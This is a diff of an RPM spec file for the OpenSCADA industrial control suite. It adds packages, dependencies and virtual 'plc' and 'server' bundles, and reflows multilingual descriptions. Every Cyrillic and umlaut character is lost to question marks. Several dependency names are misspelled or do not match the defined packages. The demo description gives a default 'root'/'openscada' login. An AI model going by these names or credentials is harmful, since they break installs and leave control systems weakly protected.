-Das %name-DAQ-JavaLikeCalc, entaelt die auf java - aehnlicher Sprache
-begruendeten Bibliothekenrechner und -laufer. Der Nutzer kann Funktionen
-und Bibliotheken schaffen und modifizieren.
+Das %name-DAQ-JavaLikeCalc, ent?lt die auf der Java - ?hnlicher
+Sprache begr?ndeten Bibliothekenrechner und -l?ufer.
+Der Nutzer kann Funktionen und Bibliotheken schaffen und
+modifizieren.
 %endif
 
 %if 0%{?with_logiclevel}
@@ -311,11 +319,13 @@ Requires: %{name} = %{version}-%{release
 %description DAQ-LogicLevel
 The %name-DAQ-LogicLevel allows logic level paramers.
 %description DAQ-LogicLevel -l ru_RU.UTF8
-????? %name-DAQ-LogicLevel, ????????????? ?????????? ??????? ??????????.
+????? %name-DAQ-LogicLevel, ????????????? ?????????? ???????
+??????????.
 %description DAQ-LogicLevel -l uk_UA.UTF8
 ????? %name-DAQ-LogicLevel, ????? ???????? ?????? ??????????.
 %description DAQ-LogicLevel -l de_DE.UTF8
-Das Paket %name-DAQ-LogicLevel, enthaelt das logische Parameterlevel.
+Das Paket %name-DAQ-LogicLevel, enth?lt das logische
+Parameterlevel.
 %endif
 
 %if 0%{?with_daqgate}
@@ -333,8 +343,32 @@ OpenSCADA station to local OpenSCADA sta
 ????? %name-DAQ-Gate, ???????? ????????? ??????? ????? ??????????
 OpenSCADA ??????? ?? ?????????.
 %description DAQ-Gate -l de_DE.UTF8
-Das Paket %name-DAQ-Gate, ermoeglicht das Einschleusen der Datenquellen der
-entfernten OpenSCADA Stationen in die lokale.
+Das Paket %name-DAQ-Gate, erm?glicht das Einschleusen der
+Datenquellen der entfernten OpenSCADA Stationen in die lokale.
+%endif
+
+%if 0%{?with_icpdas}
+%package DAQ-IcpDas
+Summary: Open SCADA DAQ
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description DAQ-IcpDas
+The %name-DAQ-IcpDas, package allow realisation of ICP DAS
+hardware support. Include I87000 and I-7000 DCON modules
+and I-8000 fast modules.
+%description DAQ-IcpDas -l ru_RU.UTF8
+????? %name-DAQ-IcpDas, ????????????? ?????????? ?????????
+???????????? ICP DAS. ???????? ????????? I-87000
+? I-7000 DCON ??????? ? I-8000 ??????? ???????.
+%description DAQ-IcpDas -l uk_UA.UTF8
+????? %name-DAQ-IcpDas, ????? ?????????? ????????? ??????????
+ICP DAS. ????????? I-87000 ?? I-7000 DCON ??????
+?? I-8000 ?????? ??????.
+%description DAQ-IcpDas -l de_DE.UTF8
+Das Paket %name-DAQ-IcpDas, gew?hrt die Implementierung der
+Unterst?tzung der installierten Ausr?stung ICP DAS.
+Die Unterst?tzung von Modulen I-87000 und I-7000
+und Schnell-Modulen I-8000 DCON ist eingeschlossen.
 %endif
 
 %if 0%{?with_selfsystem}
@@ -353,9 +387,10 @@ generic functions.
 ????????? ??????? ???????.
 %description Protocol-SelfSystem -l de_DE.UTF8
 Das Paket %name-Protocol-SelfSystem, das eigene OpenSCADA -
-Protokoll, unterstuetzt Hauptfunktionen
+Protokoll, unterst?tzt die Hauptfunktionen
 %endif
 
+########################### BD-System ############################
 %if 0%{?with_firebird}
 %package DB-FireBird
 Summary: Open SCADA database
@@ -369,7 +404,8 @@ The %name-DB-FireBird allow support of t
 %description DB-FireBird -l uk_UA.UTF8
 ????? %name-DB-FireBird, ?????? ??. ????? ????????? ?? FireBird.
 %description DB-FireBird -l de_DE.UTF8
-Das Paket %name-DB-FireBird Ermoegliht die FireBird Dateibasenunterstuetzung.
+Das Paket %name-DB-FireBird Gew?hrt die
+FireBird-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_mysql}
@@ -385,7 +421,7 @@ The %name-DB-MySQL package allow support
 %description DB-MySQL -l uk_UA.UTF8
 ????? %name-DB-MySQL, ????? ????????? ?? MySQL.
 %description DB-MySQL -l de_DE.UTF8
-Das Paket %name-DB-MySQL Ermoeglicht die MySQL-Dateibasenunterstuetzung.
+Das Paket %name-DB-MySQL gew?hrt die MySQL-Dateibasenunterst?tzung.
 %endif
 
 %if 0%{?with_dbf}
@@ -394,13 +430,16 @@ Summary: Open SCADA database
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description DB-DBF
-The %name-DB-DBF package allow support of the *.dbf files, version 3.0.
+The %name-DB-DBF package allow support of the *.dbf files,
+version 3.0.
 %description DB-DBF -l ru_RU.UTF8
-????? %name-DB-DBF, ????????????? ????????? *.dbf ??????, ?????? 3.0..
+????? %name-DB-DBF, ????????????? ????????? *.dbf ??????,
+?????? 3.0.
 %description DB-DBF -l uk_UA.UTF8
 ????? %name-DB-DBF, ????? ????????? *.dbf ??????, ?????? 3.0.
 %description DB-DBF -l de_DE.UTF8
-Das Paket %name-DB-DBF ermoeglicht die *.dbf Dateiunterstutzung, Versionen 3.0..
+Das Paket %name-DB-DBF gew?hrt die *.dbf Dateiunterst?tzung,
+Versionen 3.0.
 %endif
 
 %if 0%{?with_sqlite}
@@ -415,25 +454,27 @@ The %name-DB-SQLite package allow suppor
 %description DB-SQLite -l uk_UA.UTF8
 ????? %name-DB-SQLite, ????? ????????? ?? SQLite.
 %description DB-SQLite -l de_DE.UTF8
-Das Paket %name-DB-SQLite ermoeglicht die DB SQLite - Unterstuetzung.
+Das Paket %name-DB-SQLite gew?hrt die DB SQLite - Unterst?tzung.
 %endif
 
+############################# ARH-System ############################
 %if 0%{?with_dbarch}
 %package ARH-DBArch
 Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-DBArch
-The %name-ARH-DBArch package allow functions for messages and values
-arhiving to DB.
+The %name-ARH-DBArch package allow functions for messages and
+values arhiving to DB.
 %description ARH-DBArch -l ru_RU.UTF8
-????? %name-ARH-DBArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ??.
+????? %name-ARH-DBArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ??.
 %description ARH-DBArch -l uk_UA.UTF8
-????? %name-ARH-DBArch, ????? ??????? ????????? ??????????? ?? ??????? ?? ??.
+????? %name-ARH-DBArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??.
 %description ARH-DBArch -l de_DE.UTF8
-Das Paket %name-ARH-DBArch gewaehrt Archivierungsfunktionen der Mitteilungen
-und Bedeutungen fuer DB.
+Das Paket %name-ARH-DBArch gew?hrt Archivierungsfunktionen
+der Nachrichten und Bedeutungen f?r DB.
 %endif
 
 %if 0%{?with_fsarch}
@@ -442,24 +483,33 @@ Summary: Open SCADA arch
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description ARH-FSArch
-The %name-ARH-FSArch allow functions for messages and values arhiving
-to file system.
+The %name-ARH-FSArch allow functions for messages and values
+arhiving to file system.
 %description ARH-FSArch -l ru_RU.UTF8
-????? %name-ARH-FSArch, ????????????? ??????? ????????????? ????????? ?
-???????? ?? ???????? ???????.
+????? %name-ARH-FSArch, ????????????? ??????? ?????????????
+????????? ? ???????? ?? ???????? ???????.
 %description ARH-FSArch -l uk_UA.UTF8
-????? %name-ARH-FSArch, ????? ??????? ????????? ??????????? ?? ??????? ??
-??????? ???????.
+????? %name-ARH-FSArch, ????? ??????? ????????? ???????????
+?? ??????? ?? ??????? ???????.
 %description ARH-FSArch -l de_DE.UTF8
-Das Paket %name-ARH-FSArch gewaert Archivierungsfunktionen fuer Mitteilungen
-und Bedeutungen fuer Dateisystem.
+Das Paket %name-ARH-FSArch gew?hrt Archivierungsfunktionen
+f?r Nachrichte und Bedeutungen f?r Dateisystem.
 %endif
 
+############################# UI-System ##############################
 %if 0%{?with_webcfg}
 %package UI-WebCfg
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfg
 The %name-UI-WebCfg allows the WEB based OpenSCADA system
 configurator.
@@ -470,7 +520,7 @@ configurator.
 ????? %name-UI-WebCfg, ????? WEB ????????? ???????????? ???????
 OpenSCADA.
 %description UI-WebCfg -l de_DE.UTF8
-Das Paket %name-UI-WebCfg ermoeglicht den WEB-begruendeten
+Das Paket %name-UI-WebCfg gew?hrt den WEB-begr?ndeten
 OpenSCADA-Konfigurator.
 %endif
 
@@ -479,6 +529,14 @@ OpenSCADA-Konfigurator.
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebCfgd
 The %name-UI-WebCfgd allows the dynamic WEB based OpenSCADA system
 configurator. Use XHTML, CSS and JavaScript technologies.
@@ -486,11 +544,11 @@ configurator. Use XHTML, CSS and JavaScr
 ????? %name-UI-WebCfgd, ????????????? ???????????? WEB ??????????
 ????????????. ?????????? XHTML, CSS ? JavaScript ??????????.
 %description UI-WebCfgd -l uk_UA.UTF8
-????? %name-UI-WebCfgd, ????? ?????????? WEB ????????? ????????????.
-??????????? XHTML, CSS ?? JavaScript ??????????.
+????? %name-UI-WebCfgd, ????? ?????????? WEB ?????????
+????????????. ??????????? XHTML, CSS ?? JavaScript ??????????.
 %description UI-WebCfgd -l de_DE.UTF8
-Das Paket %name-UI-WebCfgd ermoeglicht den dynamischen WEB-begruendeten
-Konfigurator. Nutzt XHTML, CSS and JavaScript technologies aus.
+Das Paket %name-UI-WebCfgd gew?hrt den dynamischen WEB-begr?ndeten
+Konfigurator. Nutzt die XHTML, CSS und JavaScript-Technologien aus.
 %endif
 
 %if 0%{?with_webvision}
@@ -498,18 +556,26 @@ Konfigurator. Nutzt XHTML, CSS and JavaS
 Summary: Open SCADA interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description UI-WebVision
-The %name-UI-WebVision web operation user interface for visual control area
-(VCA) projects playing.
+The %name-UI-WebVision web operation user interface for visual
+control area (VCA) projects playing.
 %description UI-WebVision -l ru_UA.UTF8
-????? %name-UI-WebVision, web ??????? ???????????????? ????????? ???
-?????????? ?????????? ???? ?????????? (???)
+????? %name-UI-WebVision, web ??????? ???????????????? ?????????
+??? ?????????? ?????????? ???? ?????????? (???)
 %description UI-WebVision -l uk_RU.UTF8
-????? %name-UI-WebVision, web ??????? ????????? ??????????? ??? ?????????
-??????????? ?????????? ????????? (???).
+????? %name-UI-WebVision, web ??????? ????????? ??????????? ???
+????????? ??????????? ?????????? ????????? (???).
 %description UI-WebVision -l de_DE.UTF8
-Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface fuer Ausfuehrung
-visueller Kontrollebereiche .
+Das Paket %name-UI-WebVision, web-Arbeitsnutzersinterface f?r die
+Ausf?hrung visueller Kontrollebereiche.
 %endif
 
 %if 0%{?with_http}
@@ -517,19 +583,29 @@ visueller Kontrollebereiche .
 Summary: Open SCADA http
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
+# ############### Transport ########################
+%if 0%{?with_sockets}
+Requires:%{name}-Transport-Sockets = %{version}-%{release}
+%endif
+%if 0%{?with_ssl}
+Requires:%{name}-Transport-SSL = %{version}-%{release}
+%endif
+# ##################################################
 %description Protocol-HTTP
-The %name-Protocol-HTTP package allows support HTTP for WWW based UIs.
+The %name-Protocol-HTTP package allows support HTTP
+for WWW based UIs.
 %description Protocol-HTTP -l ru_RU.UTF8
-????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW ??????????
-???????????????? ???????????.
+????? %name-Protocol-HTTP ????????????? ????????? HTTP ??? WWW
+?????????? ???????????????? ???????????.
 %description Protocol-HTTP -l uk_UA.UTF8
 ????? %name-Protocol-HTTP ????? ????????? HTTP ??? WWW ???????????
 ?????????????????? ???????????.
 %description Protocol-HTTP -l de_DE.UTF8
-Das Paket %name-Protocol-HTTP ermoeglicht die HTTP-Unterstuetzung fuer die
-WWW-basierenden Nutzersinterfaces .
+Das Paket %name-Protocol-HTTP gew?hrt die HTTP-Unterst?tzung
+f?r die WWW-basierenden Nutzersinterfaces.
 %endif
 
+############################### GUI-System ##################################
 %if 0%{?with_qtstarter}
 %package UI-QTStarter
 Summary: Open SCADA QT Starter
@@ -537,7 +613,7 @@ Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTStarter
 The %name-UI-QTStarter Allow QT GUI starter. It is single for
-all QT GUI modules!.
+all QT GUI modules!
 %description UI-QTStarter -l ru_RU.UTF8
 ????? %name-UI-QTStarter ????????????? QT GUI ?????????.
 ?? ???????? ???????????? ??? ???? QT GUI ???????!
@@ -545,8 +621,8 @@ all QT GUI modules!.
 ????? %name-UI-QTStarter ????? QT GUI ??????. ??? ? ???? ???
 ???? QT GUI ???????!
 %description UI-QTStarter -l de_DE.UTF8
-Das Paket %name-UI-QTStarter  Enthaelt den QT GUI Starter.
-Ist das einzige fuer alle QT GUI Module!
+Das Paket %name-UI-QTStarter  Enth?lt den QT GUI-Starter.
+Ist das Einzige f?r alle QT GUI-Module!
 %endif
 
 %if 0%{?with_qtcfg}
@@ -555,54 +631,79 @@ Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description UI-QTCfg
-The %name-UI-QTCfg allows the QT based OpenSCADA system configurator.
+The %name-UI-QTCfg allows the QT based OpenSCADA system
+configurator.
 %description UI-QTCfg -l ru_RU.UTF8
-????? %name-UI-QTCfg ????????????? QT ?????????? ???????????? ???????
-OpenSCADA.
+????? %name-UI-QTCfg ????????????? QT ?????????? ????????????
+??????? OpenSCADA.
 %description UI-QTCfg -l uk_UA.UTF8
 ????? %name-UI-QTCfg ??????? ????? QTCfg-?????????????.
 %description UI-QTCfg -l de_DE.UTF8
-Das Paket %name-UI-QTCfg emrmoeglicht den QT-begruendeten
+Das Paket %name-UI-QTCfg gew?hrt den QT-begr?ndeten
 OpenSCADA-Systemkonfigurator.
 %endif
 
-%if 0%{?with_qtvision}
-%package UI-QTVision
+############################### UI-System ##################################
+
+%if 0%{?with_uivision}
+%package UI-Vision
 Summary: Open SCADA QT interfaces
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
-%description UI-QTVision
-The %name-UI-QTVision package includes files visual operation user
+%description UI-Vision
+The %name-UI-Vision package includes files visual operation user
 interface.
-%description UI-QTVision -l ru_RU.UTF8
-????? %name-UI-QTVision ???????? ????? ???????? ?????????????????
+%description UI-Vision -l ru_RU.UTF8
+????? %name-UI-Vision ???????? ????? ???????? ?????????????????
 ??????????.
-%description UI-QTVision -l uk_UA.UTF8
-????? %name-UI-QTVision ??????? ????? ???????? ??????????
+%description UI-Vision -l uk_UA.UTF8
+????? %name-UI-Vision ??????? ????? ???????? ??????????
 ???????????.
-%description UI-QTVision -l de_DE.UTF8
-Das Paket %name-UI-QTVision enthaelt die Arbeitsnutzersinterfacedaten
+%description UI-Vision -l de_DE.UTF8
+Das Paket %name-UI-Vision enth?lt die Arbeitsnutzersinterfacedaten
 %endif
 
+%if 0%{?with_uivcaengine}
+%package UI-VCAEngine
+Summary: Open SCADA QT interfaces
+Group: Applications/Engineering
+Requires: %{name} = %{version}-%{release}
+%description UI-VCAEngine
+The %{name}-UI-VCAEngine package - generic visual control
+area engine.
+%description UI-VCAEngine -l ru_RU.UTF8
+????? %{name}-UI-VCAEngine - ????? ?????? ????? ????????????
+? ??????????.
+%description UI-VCAEngine -l uk_UA.UTF8
+????? %{name}-UI-VCAEngine - ????????? ????? ??????????
+???????????? ?? ?????????.
+%description UI-VCAEngine -l de_DE.UTF8
+Das Paket %{name}-UI-VCAEngine - allgemeine
+Visualisierungssteuerung.
+%endif
+
+############################# Transport-System ##############################
 %if 0%{?with_ssl}
 %package Transport-SSL
 Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-SSL
-The %name-Transport-SSL allows security socket layer based transport.
-Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
+The %name-Transport-SSL allows security socket layer based
+transport. Used OpenSSL and supported SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l ru_RU.UTF8
-????? %name-Transport-SSL ????????????? ????????? ?????????? ?? ????
-?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
+????? %name-Transport-SSL ????????????? ????????? ??????????
+?? ???? ?????????? ???????. ???????????? OpenSSL ? ????????????? SSLv2, SSLv3
 and TLSv1.
 %description Transport-SSL -l uk_UA.UTF8
-????? %name-Transport-SSL ????? ????????? ????????? ?? ?????????? ???? ???????.
- ??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
+????? %name-Transport-SSL ????? ????????? ????????? ??
+?????????? ???? ???????.
+??????????? OpenSSL ?? ????????????? SSLv2, SSLv3 and TLSv1.
 %description Transport-SSL -l de_DE.UTF8
-Das Paket %name-Transport-SSL enthaelt den auf der Schicht der unfallfesten
-Sockets begruendeten Transport. Es werden OpenSSL benutzt und SSLv2, SSLv3
-und TLSv1 unterstuetzt.
+Das Paket %name-Transport-SSL enth?lt den auf der Schicht der
+unfallfesten.
+Sockets begr?ndeten Transport. Es werden OpenSSL und SSLv2, SSLv3
+und TLSv1 benutzt und unterst?tzt.
 %endif
 
 %if 0%{?with_sockets}
@@ -611,20 +712,22 @@ Summary: Open SCADA transports
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Transport-Sockets
-The %name-Transport-Sockets allows sockets based transport. Supports inet
-and unix sockets. Inet socket uses TCP and UDP protocols.
+The %name-Transport-Sockets allows sockets based transport.
+Supports inet and unix sockets.
+Inet socket uses TCP and UDP protocols.
 %description Transport-Sockets -l ru_RU.UTF8
-????? %name-Transport-Sockets ???????????? ????????? ?????????? ?? ???????.
-?????????????? ???????? ? UNIX ??????. ???????? ????? ?????????? TCP ? UDP
-?????????.
+????? %name-Transport-Sockets ???????????? ????????? ??????????
+?? ???????. ?????????????? ???????? ? UNIX ??????.
+???????? ????? ?????????? TCP ? UDP ?????????.
 %description Transport-Sockets -l uk_UA.UTF8
 ????? %name-Transport-Sockets ????? ????????? ????????? ?? ???????.
 ????????????? ???????? ?? UNIX ??????. ???????? ????? ???????????? TCP
 ?? UDP ?????????.
 %description Transport-Sockets -l de_DE.UTF8
-Das Paket %name-Transport-Sockets ermoeglicht den auf Sockets begruendeten
-Transport. Unterstuetzt werden Internet- und UNIX-Sockets. Internetsocket
-benutzt TCP und UDP Protokolle.
+Das Paket %name-Transport-Sockets gew?hrt den auf Sockets
+begr?ndeten Transport.
+Unterst?tzt werden die Internet- und UNIX-Sockets.
+Das Internetsocket benutzt die TCP und UDP-Protokolle.
 %endif
 
 %if 0%{?with_serial}
@@ -637,19 +740,20 @@ The %name-Transport-Serial, allow serial
 data exchanging through serial interfaces like RS232, RS485, GSM
 and other.
 %description Transport-Serial -l ru_RU.UTF8
-????? %name-Transport-Serial, ????????????? ???????????????? ?????????.
-???????????? ??? ?????? ??????? ????? ???????????????? ??????????
+????? %name-Transport-Serial, ????????????? ????????????????
+?????????. ???????????? ??? ?????? ??????? ????? ???????????????? ??????????
 ???? RS232, RS485, GSM ? ??????.
 %description Transport-Serial -l uk_UA.UTF8
 ????? %name-Transport-Serial, ????? ?????????? ??????????.
 ???????????????? ??? ?????? ?????? ????? ?????????? ???????????
 ???? RS232, RS485, GSM ?? ????.
 %description Transport-Serial -l de_DE.UTF8
-Das Paket %name-Transport-Serial, ermoeglicht konsequenten
-Nutzersinterface. Wird fuer das Umtauschen von Daten durch konsequente
+Das Paket %name-Transport-Serial, gew?hrt das konsequente
+Nutzersinterface. Wird f?r das Umtauschen von Daten durch konsequente
 Interfaces wie RS232, RS485, GSM und andere benutzt.
 %endif
 
+############################# Functions-System #########################
 %if 0%{?with_flibcomplex}
 %package Special-FlibComplex1
 Summary: Open SCADA special
@@ -665,7 +769,7 @@ Complex1 (SCADA Complex1 functions).
 ????? %name-Special-FlibComplex1 ????? ???????? ?????????? ???????
 Complex1 (??????? SCADA Complex1).
 %description Special-FlibComplex1 -l de_DE.UTF8
-Das Paket %name-Special-FlibComplex1s enthaelt statische
+Das Paket %name-Special-FlibComplex1s enth?lt statische
 Bibliothek der Complex1-Funktionen (Funktionen SCADA Complex1).
 %endif
 
@@ -675,15 +779,17 @@ Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-FlibMath
-The %name-Special-FlibMath allows mathematic static function library.
+The %name-Special-FlibMath allows mathematic static function
+library.
 %description Special-FlibMath -l ru_RU.UTF8
 ????? %name-Special-FlibMath ????????????? ?????????? ???????????
 ?????????????? ???????.
 %description Special-FlibMath -l uk_UA.UTF8
-????? %name-Special-FlibMath ????? ???????? ?????????? ???????????? ???????.
+????? %name-Special-FlibMath ????? ???????? ??????????
+???????????? ???????.
 %description Special-FlibMath -l de_DE.UTF8
-The %name-Special-FlibMath : #Das Paket %name-Special-FlibMath enthaelt
-Standardbibliothek der mathematischen Funktionen.
+Das Paket %name-Special-FlibMath enth?lt die Standardbibliothek
+der mathematischen Funktionen.
 %endif
 
 %if 0%{?with_flibsys}
@@ -698,27 +804,30 @@ of the user programming area.
 ????? %name-Special-FlibSys ????????????? ? ??????? ??????????
 ?????????? API ????? ????????????????? ????????????????.
 %description Special-FlibSys -l uk_UA.UTF8
-????? %name-Special-FlibSys ????? ? ??????? ?????????? ?????????? API
-?????????? ????????????? ???????????.
+????? %name-Special-FlibSys ????? ? ??????? ??????????
+?????????? API ?????????? ????????????? ???????????.
 %description Special-FlibSys -l de_DE.UTF8
-Das Paket %name-Special-FlibSys ermoeglicht in das System die
+Das Paket %name-Special-FlibSys gew?hrt in das System die
 Bibliothek der API-Systemprogrammierung des Nutzersbereiches.
 %endif
 
+######################### Tests-System ##############################
 %if 0%{?with_systemtests}
 %package Special-SystemTests
 Summary: Open SCADA special
 Group: Applications/Engineering
 Requires: %{name} = %{version}-%{release}
 %description Special-SystemTests
-The %name-Special-SystemTests allows the group tests for OpenSCADA system.
+The %name-Special-SystemTests allows the group tests
+for OpenSCADA system.
 %description Special-SystemTests -l ru_RU.UTF8
-????? %name-Special-SystemTests ????????????? ?????? ?????? ??? ???????
-OpenSCADA.
+????? %name-Special-SystemTests ????????????? ?????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l uk_UA.UTF8
-????? %name-Special-SystemTests ????? ????? ?????? ??? ??????? OpenSCADA.
+????? %name-Special-SystemTests ????? ????? ??????
+??? ??????? OpenSCADA.
 %description Special-SystemTests -l de_DE.UTF8
-Das Paket %name-Special-SystemTests enthaelt die Testgruppe fuer das
+Das Paket %name-Special-SystemTests enth?lt die Testgruppe f?r das
 OpenSCADA-System
 %endif
 
@@ -732,7 +841,7 @@ The %name-doc package include documents 
 %description doc -l uk_UA.UTF8
 ????? %name-doc ??????? ????? ????????????.
 %description doc -l de_DE.UTF8
-Das Paket %name-doc enthaelt Dokumentationsdateien.
+Das Paket %name-doc enth?lt die Dokumentationsdateien.
 
 %package devel
 Summary: Open SCADA development
@@ -745,13 +854,18 @@ The %name-devel package includes library
 %description devel -l uk_UA.UTF8
 ????? %name-devel ??????? ????? ????????? ?? ????????? ?????.
 %description devel -l de_DE.UTF8
-Das Paket %name-devel enthaelt Bibliothekenarchiv und eingeschlossene
+Das Paket %name-devel enth?lt das Bibliothekenarchiv und die
+eingeschlossenen
 Dateien.
 
 %package demo
 Summary: Open SCADA demo data bases and config
 Group: Applications/Engineering
 Requires:%{name} = %{version}-%{release}
+# ############### DB ########################
+%if 0%{?with_dbarch}
+Requires:%{name}-DB-SQLite = %{version}-%{release}
+%endif
 # ############### ARH ########################
 %if 0%{?with_dbarch}
 Requires:%{name}-ARH-DBArch = %{version}-%{release}
@@ -776,6 +890,9 @@ Requires:%{name}-Special-SystemTests = %
 %if 0%{?with_blockcalc}
 Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
 %endif
+%if 0%{?with_modbus}
+Requires:%{name}-DAQ-ModBus = %{version}-%{release}
+%endif
 %if 0%{?with_javalikecalc}
 Requires:%{name}-DAQ-JavaLikeCalc = %{version}-%{release}
 %endif
@@ -785,12 +902,12 @@ Requires:%{name}-DAQ-LogicLevel = %{vers
 %if 0%{?with_system}
 Requires:%{name}-DAQ-System = %{version}-%{release}
 %endif
-%if 0%{?with_blockcalc}
-Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
-%endif
 %if 0%{?with_daqgate}
 Requires:%{name}-DAQ-Gate = %{version}-%{release}
 %endif
+%if 0%{?with_icpdas}
+Requires:%{name}-DAQ-IcpDas = %{version}-%{release}
+%endif
 # ############### HTTP ########################
 %if 0%{?with_http}
 Requires:%{name}-Protocol-HTTP = %{version}-%{release}
@@ -816,8 +933,11 @@ Requires:%{name}-UI-QTStarter = %{versio
 %if 0%{?with_qtcfg}
 Requires:%{name}-UI-QTCfg = %{version}-%{release}
 %endif
-%if 0%{?with_qtvision}
-Requires:%{name}-UI-QTVision = %{version}-%{release}
+%if 0%{?with_uivision}
+Requires:%{name}-UI-Vision = %{version}-%{release}
+%endif
+%if 0%{?with_uivcaengine}
+Requires:%{name}-UI-VCAEngane = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -829,28 +949,149 @@ Requires:%{name}-UI-WebCfgd = %{version}
 %if 0%{?with_webvision}
 Requires:%{name}-UI-WebVision = %{version}-%{release}
 %endif
-
 %description demo
 The %{name}-demo package includes demo data bases and configs.
 For start use command <openscada_demo>. For access use account
 "root" and password "openscada" or account "user" without password.
 %description demo -l ru_RU.UTF8
-????? %{name}-demo ???????? ???????????????? ???? ?????? ? ????????????.
-??? ?????? ??????????? ??????? <openscada_demo>. ??? ??????? ??????????? ??????
-"root" ? ?????? "openscada" ??? ?????? "user" ??? ??????.
+????? %{name}-demo ???????? ???????????????? ???? ?????? ?
+????????????. ??? ?????? ??????????? ??????? <openscada_demo>.
+??? ??????? ??????????? ?????? "root" ? ?????? "openscada"
+??? ?????? "user" ??? ??????.
 %description demo -l uk_UA.UTF8
-????? %{name}-demo ??????? ?????????????? ???? ????? ?? ????????????. ???
-?????? ?????????????? ??????? <openscada_demo>. ??? ??????? ??????????????
-????? "root" ?? ?????? "openscada" ??? ????? "user" ??? ??????.
+????? %{name}-demo ??????? ?????????????? ???? ????? ??
+????????????. ??? ?????? ?????????????? ??????? <openscada_demo>.
+??? ??????? ?????????????? ????? "root" ?? ?????? "openscada"
+??? ????? "user" ??? ??????.
 %description demo -l de_DE.UTF8
-Das Paket %{name}-demo enthaelt Demodatenbanken und Konfigurationen. Fuers
-Starten wird Kommando <openscada_demo> benutzt. Fuer den Zugang benutzen Sie
-die Anschreibung "root" und das Kennwort "openscada" oder die Anschreibung
-"user" ohne Kennwort.
+Das Paket %{name}-demo enth?lt die Demodatenbanken und
+Konfigurationen. F?rs Starten wird Kommando <openscada_demo>
+benutzt. F?r den Zugang benutzen Sie die Anschreibung "root"
+und das Kennwort "openscada" oder die Anschreibung "user" ohne Kennwort.
+
+# ############################### Virtual Packages ###################################
+%package plc
+Summary: OpenSCADA PLC.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-Archive-FSArch
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-System
+Requires: %name-DB-SQLite
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Transport-Sockets
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfgD
+Requires: %name-UI-WebVision
+%description plc
+The %name-plc package is virtual package for PLC.
+%description plc -l ru_RU.UTF8
+????? %name-plc ??? ??????????? ????? ??? ???.
+%description plc -l uk_UA.UTF8
+????? %name-plc ?? ??????????? ????? ??? ???.
+%description plc -l de_RU.UTF8
+????? %name-plc ist das Virtualpaket f?r PLC.
+
+%package server
+Summary: OpenSCADA server.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DB-FireBird
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-DiamondBoards
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfg
+Requires: %name-UI-WebVision
+Requires: %name-WebCfgD
+Requires: %name-Special-FLibComplex1
+Requires: %name Special-FLibMath
